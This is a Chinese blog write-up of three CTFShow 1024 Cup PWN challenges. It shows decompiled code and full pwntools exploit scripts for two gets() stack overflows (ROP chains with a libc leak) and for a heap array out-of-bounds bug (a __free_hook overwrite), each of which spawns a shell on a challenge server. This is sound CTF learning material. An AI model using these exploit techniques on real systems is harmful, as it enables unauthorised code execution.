menu EDS
CTF SHOW 1024杯 PWN writeup
2065 浏览 | 2020-12-02 | 分类:pwn | 标签:

CTF SHOW 1024杯 PWN writeup

难度很友好,萌新i了i了。

1024_happy_checkin

用ida加载程序,打开main()函数发现存在gets()函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-370h]

  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("welcome_to_ctfshow_1024_cup,input_your_ticket");
  gets(&s, 0LL);
  puts(&s);
  return 0;
}

推测该题为简单的x64程序栈溢出,利用gets()函数覆盖返回地址构造ROP链,exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./checkin')
    gdb.attach(r,'b * 0x400672')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28091)
    libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

elf = ELF('./checkin')
main = elf.symbols['main']
puts = elf.symbols['puts']
rdi = 0x4006e3
ret = 0x4004c6
lsm = elf.got['__libc_start_main']\
r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main))
r.recvuntil('36D\n')

libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
log.success('libc_addr:'+hex(libc_addr))
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
log.success('system:'+hex(system))
log.success('/bin/sh:'+hex(binsh))
r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main))

r.interactive()

1024_happy_stack

利用ida加载程序,发现main()存在gets()函数,但是在程序结束之前要经过ctfshow()函数的检测才能继续执行。
main()函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-380h]
  int v5; // [rsp+37Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("What kinds of girls do you like?\n");
  puts("1.beautiful\n");
  puts("2.lovely\n");
  puts("3.no no ,I like boys\n");
  puts("4.I only love qunzhu\n");
  gets(&s, 0LL);
  v5 = ctfshow(&s);
  if ( v5 )
  {
    puts("no,u dont\n");
    exit(0);
  }
  puts("here you are\n");
  puts(&s);
  return 0;
}

ctfshow()函数为对刚刚输入的字符串进行比较,可利用\x00截断绕过。

__int64 __fastcall ctfshow(const char *a1)
{
  return (unsigned int)strcmp(a1, "36D");
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./stack')
    gdb.attach(r,'b * 0x400793')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28033)
    libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

elf = ELF('./stack')
main = elf.symbols['main']
puts = elf.symbols['puts']
rdi = 0x400803
ret = 0x40028a
lsm = elf.got['__libc_start_main']
r.recvuntil('qunzhu\n\n')
r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main))
r.recvuntil('36D\n')
libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
log.success('libc_addr:'+hex(libc_addr))
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
log.success('system:'+hex(system))
log.success('/bin/sh:'+hex(binsh))
r.recvuntil('qunzhu\n\n')
r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main))

r.interactive()

1024_happy_unlink

这道题我偷鸡了,虽然题目说用的unlink,但我没有用这个堆利用做的。用ida加载,打开main()函数。看结构为简易的堆题。

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi

  v3 = "Welcome To |>>CTFSHOW's Book Store<<|";
  puts("Welcome To |>>CTFSHOW's Book Store<<|");
  sub_400846();
  while ( 1 )
  {
    sub_4008A7(v3, a2);
    a2 = (char **)"please input your choice: ";
    v3 = "%s";
    printf("%s", "please input your choice: ");
    switch ( (unsigned int)sub_4008E0() )
    {
      case 1u:
        sub_400985();
        break;
      case 2u:
        sub_400A12();
        break;
      case 3u:
        sub_400A7E();
        break;
      case 4u:
        sub_400AC1();
        break;
      case 5u:
        exit(1);
        return;
      default:
        v3 = "Input Err..";
        puts("Input Err..");
        break;
    }
  }
}

其中目录函数为

int sub_4008A7()
{
  puts("1. Add book");
  puts("2. Delete book");
  puts("3. Show book");
  puts("4. Edit book");
  return puts("5. Leave Store");
}

对应分别找到add()

__int64 sub_400985()
{
  int v0; // ST08_4
  int v1; // ST0C_4
  __int64 result; // rax

  printf("%s", "Plz Input idx: ");
  v0 = sub_4008E0();
  printf("%s", "Plz Input size: ");
  v1 = sub_4008E0();
  buf[2 * v0] = (char *)malloc(v1);
  result = 2 * v0 + 1;
  buf[result] = (char *)v1;
  return result;
}

delete()

__int64 sub_400A12()
{
  int v0; // ST0C_4
  __int64 result; // rax

  printf("%s", "Plz Input idx: ");
  v0 = sub_4008E0();
  free(buf[2 * v0]);
  buf[2 * v0] = 0LL;
  result = 2 * v0 + 1;
  buf[result] = 0LL;
  return result;
}

show()

int sub_400A7E()
{
  int v0; // ST0C_4

  printf("%s", "Plz Input idx: ");
  v0 = sub_4008E0();
  return puts(buf[2 * v0]);
}

edit()

ssize_t sub_400AC1()
{
  int v0; // eax
  int v1; // ST08_4
  int v2; // ST0C_4

  printf("%s", "Plz Input idx: ");
  v0 = sub_4008E0();
  v1 = v0;
  v2 = (unsigned __int64)buf[2 * v0 + 1];
  printf("%s", "Plz Input content: ");
  return read(0, buf[2 * v1], (unsigned int)(v2 + 8));
}

这个程序并没有对堆块地址数组进行限制,存在数组溢出。在动态调试时发现-30位置存有地址指向-14的位置0x602000,而0x602000地址为可写,这样我们就可以实现任意地址读和任意地址写。

0x601f00:    0x0000000000602000    0x0000000000000002
0x601f10:    0x00000000000000f0    0x0000000000000014
0x601f20:    0x0000000000000007    0x0000000000000017
0x601f30:    0x0000000000400578    0x0000000000000007
0x601f40:    0x0000000000400518    0x0000000000000008
0x601f50:    0x0000000000000060    0x0000000000000009
0x601f60:    0x0000000000000018    0x000000006ffffffe
0x601f70:    0x00000000004004e8    0x000000006fffffff
0x601f80:    0x0000000000000001    0x000000006ffffff0
0x601f90:    0x00000000004004c6    0x0000000000000000
0x601fa0:    0x0000000000000000    0x0000000000000000
0x601fb0:    0x0000000000000000    0x0000000000000000
0x601fc0:    0x0000000000000000    0x0000000000000000
0x601fd0:    0x0000000000000000    0x0000000000000000
0x601fe0:    0x0000000000000000    0x0000000000000000
0x601ff0:    0x0000000000000000    0x0000000000000000
0x602000:    0x0000000000601e28    0x00007f6572491168
0x602010:    0x00007f6572281f10    0x00000000004006a6
0x602020:    0x00007f6571f0f6a0    0x00000000004006c6
0x602030:    0x00007f6571ef5810    0x00007f6571f97310

exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./unlink')
    #gdb.attach(r,'b * malloc')
    #gdb.attach(r,'b * 0x4008a7')
    gdb.attach(r,'b * 0x400b35')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28047)
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')

elf = ELF('./unlink')
def add(index,size):
    r.recvuntil("choice: ")
    r.sendline("1")
    r.recvuntil("idx:")
    r.sendline(str(index))
    r.recvuntil("size:")
    r.sendline(str(size))

def edit(index,chat):
    r.recvuntil("choice: ")
    r.sendline("4")
    r.recvuntil("idx:")
    r.sendline(str(index))
    r.recvuntil("content:")
    r.send(chat)

def show(index):
    r.recvuntil("choice: ")
    r.sendline("3")
    r.recvuntil("idx: ")
    r.sendline(str(index))


def dele(index):
    r.recvuntil("choice: ")
    r.sendline("2")
    r.recvuntil("idx:")
    r.sendline(str(index))

puts_got = elf.got['puts']

add(0,0x58)
add(1,0x58)
add(2,0x58)
edit(1,'/bin/sh')
edit(-30,p16(0x20e0))
edit(-14,p64(puts_got)+p64(0x58))
show(0)

puts = u64(r.recv(6)+2*'\x00')
log.success('puts:'+hex(puts))
libc_addr = puts-libc.symbols['puts']
log.success('libc_addr:'+hex(libc_addr))
free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols['system']
log.success('free_hook:'+hex(free_hook))
log.success('system:'+hex(system))

edit(-14,p64(free_hook)+p64(0x58))
edit(0,p64(system))

dele(1)

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!